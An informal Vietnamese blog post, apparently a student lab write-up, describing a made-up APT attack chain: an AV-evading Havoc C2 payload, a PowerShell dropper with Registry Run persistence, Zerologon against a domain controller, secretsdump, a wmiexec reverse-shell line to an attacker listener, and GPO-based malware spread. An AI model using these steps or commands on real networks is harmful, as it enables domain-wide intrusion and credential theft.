Ayo, It's pr1vacy again :face_with_cowboy_hat:
Hôm nay không phải là write-up các challenge CTF các kiểu. Nay mình sẽ viết lại quá trình chế ra cuộc tấn công APT của riêng nhóm mình. Tên APT này tên là "Zer0".
**Requirements**
Oki đầu tiên là requirement để tạo những cái first step cho cuộc tấn công này thì đầu tiên
- **C2 Server**: Havoc Framework (*mình dùng vì cái này free á, mọi người tự tạo C2 cho riêng mình hoặc dùng mí cái khác như cobalt strike đều ok hết*). Link: https://github.com/HavocFramework/Havoc
- **Encryption tool**: Harriet (*Havoc có signature rồi nên bỏ vào window defender bắt được ngay nên mình dùng Harriet, trong bộ tool của Home-grown-red-team á, Nó sẽ vừa encrypt và thêm cái cert của mình vào nên sẽ giúp cho con mal của mình nó trông legit hơn :)* ). Link tải: https://github.com/assume-breach/Home-Grown-Red-Team
- *Impacket*: ờm :)) đây là cái củ chuối nè tẹo nói sau.
- *Packer*: UPX Đến đây là bị lười giải thích r á @@ thông cảm nha.
# Các bước thực hiện.
## 1. Tạo payload, malware
Ban đầu mình tính là để enumeration đầu tiên mà chợt nhận ra :)) đã có malware gì đâu. thì đây là các bước tạo
*P/s: Máy toi đã hi sinh quá nhiều trong đợt lần này. Shoutout cho anh bạn già cỗi của toi*
- Đầu tiên, generate shellcode từ Havoc. Tạo 1 listener trong havoc, chọn view -> listeners -> add, mình sẽ để dạng https vì nó sẽ trao đổi qua port 443 thì sẽ tránh bị firewall của windows chạn. tiếp là generate shell code, trong cái thanh công cụ của Havoc có phần attack -> payload để generate ra shellcode nha

- Tiếp là trong thư mục Home-Grown-Red-Team á thì vào thư mục Harriet. Lần đầu thì mọi người chạy file setup.sh để setup mấy cái thông tin như cert đồ các kiểu. Sau đó là chạy Harriet.sh để thực hiện.
- 
- mình sẽ chọn 1 vì mình tạo ra mal .exe, tùy vào mục đích của mọi người. Mọi người chọn khác cx đc nha. Trong kịch bản của mình nên mình chọn 1

- 1 tiếp rồi phần sau là nhập path tới file shellcode đó là xong.

- Sau khi có 1 mal FUD (*cái này cx bị bắt sig r :) nên không phải FUD nx*), thì mình dùng packer để nén lại cx tránh cho Defender phát hiện tại harriet cx bị bắt sig r. Còn 1 phần nữa là dùng donut obfuscate nhma cái donut đó mình không biết dùng và DL cx gần tới hạn rồi nên mình pass

- Vậy là giờ mình đã có 1 con mal để lây nhiễm rồi.
- Tiếp là phần dropper, lý do có con này là vì file được generate từ Havoc chỉ có việc kết nối tới C2 nên mình cần dropper để tải mal về với setup tính persistence cho còn mal của mình. Hơn nữa, malw chỉ bypass được defender tải từ web browser về sẽ bị bắt nên mình sẽ dùng dropper file .ps1 thì sẽ né được việc bắt hơn.
- Đây là file Dropper của mình, đoạn đầu nó sẽ download mal về user public của window vì hầu hết các máy đều có user này hết. Sau đó nó sẽ tạo registry run để thiết lập tính persistence và chạy file malware này lên. rồi tải python ;)) vì sao thì vì cuộc tấn công này sẽ nhắm thẳng vào DC của nạn nhân chạy window server 2016. Có CVE zerologon á, đó là vì sao APT này tui gọi là "Zer0".

## 2. Enumeration
Bước này mình sẽ pass nha vì nó liên quan tới việc phishing, social engineering rồi mấy kĩ thuật để enumerate như gg dork hay gì nữa thì phụ thuộc vào mỗi ng với nhóm mình ko có victim thật nên mình sẽ đặt ngữ cảnh là nhân viên công ty mà attacker nhắm tới sẽ nhận được 1 email giả mạo là được quà sinh nhật r tải về kích hoạt malware nha :))).
## 3. Initial Acess / Persistence
- Khi victim chạy file dropper, file này sẽ được embedded trong file ảnh để lừa nạn nhân thôi. sau đó nó sẽ chạy ngầm


- Trong Havoc có command là dcenum, dùng để enumerate DC trong hệ thống mạng máy nạn nhân. từ đây ta có computer name của DC, ip của DC và domain name của DC.

- Ta sẽ từ havoc gửi command cho nạn nhân để tải tool của chúng ta về và cài đặt mấy cái packet cần thiết.

- Tiếp tới là chạy để set_empty_pw, đây là lỗ hổng của window server 2016 khiến cho attacker có thể tạo 1 empty pw trên AD

- Tiếp tục là dump secret của DC ra, trong impacket thì secretdump này cần nhập password vào nhma do Havoc không có thể tương tác với shell nên mình sửa lại file secretdump này để gửi thẳng empty string luôn không phải nhập.


- sau khi có thì mình sẽ dùng wmiexec của impacket để tấn công. Lý do mình không dùng psexec vì psexec sẽ lấy shell NT Authority System. Mà cái user này không nằm trong Domain nên mình sẽ ko tấn công tiếp được nên mình sẽ dùng wmiexec để lấy shell quyền administrator.
- tiếp tục, vấn đề xảy ra đó là Havoc không phải như metasploit, nên nó chỉ gửi command và nhận output chứ không tương tác được. Nên mình sẽ dựng 1 listener bằng nc và sửa lại trong wmiexec.
- Khi tìm hiểu cách wmiexec thì mình thấy, nó sẽ gửi command dạng này. Ví dụ, mình lấy được shell và gõ whoami thì nó sẽ gửi tới victim
- dạng cmd.exe /Q /c whoami 1> \\127.0.0.1\ADMIN$\_..... 2>&1
- Vì Havoc không tương tác được nên thay vì tương tác vậy, mình sẽ để revshell ***command = cmd -i >& /dev/tcp/192.168.147.128/4444 0>&1***

- port khác do :)) này vid demo mình nên ảnh nãy h hơi mờ do dị á

- anyway, có được được shell quyền admin rồi, mình sẽ tạo ra shared folder chứa malware và tạo GPO để tất cả những user trong domain chạy malware khi khởi động lại máy
- Đầu tiên là tạo share folder và cấp quyền cho mọi người

- Tạo GPO


- tạo registry run để các máy trong DC sẽ chạy file malware khi khởi động máy lại. trong ảnh là file startup.ps1 vì chịu :))) này bạn tui quay video demo á
- Khi mà GPO được update và khi victim khác khởi động lại máy thì ta có được kết nối của victim2 rồi. mình demo chỉ có 4 máy thôi, để demo lại các cách lateral movement của APT

- Cuộc tấn công APT này là bọn mình tự nghĩ / "chế" nên sẽ có nhiều cái không có thực tế và không có khuyến khích mọi người dùng cho mục đích xấu :)) disclaimer cái đã.
- Đến đây thì mọi người có thể dựng lại rồi. Cảm ơn mọi người dã đọc.
- À, quên làm nhớ tắt defender nha, do malw tui tạo thì bypass đc nhma :))) impacket bị bắt sig á. Nên đó là lý do tui nói nó củ chuối vì vậy.
See ya.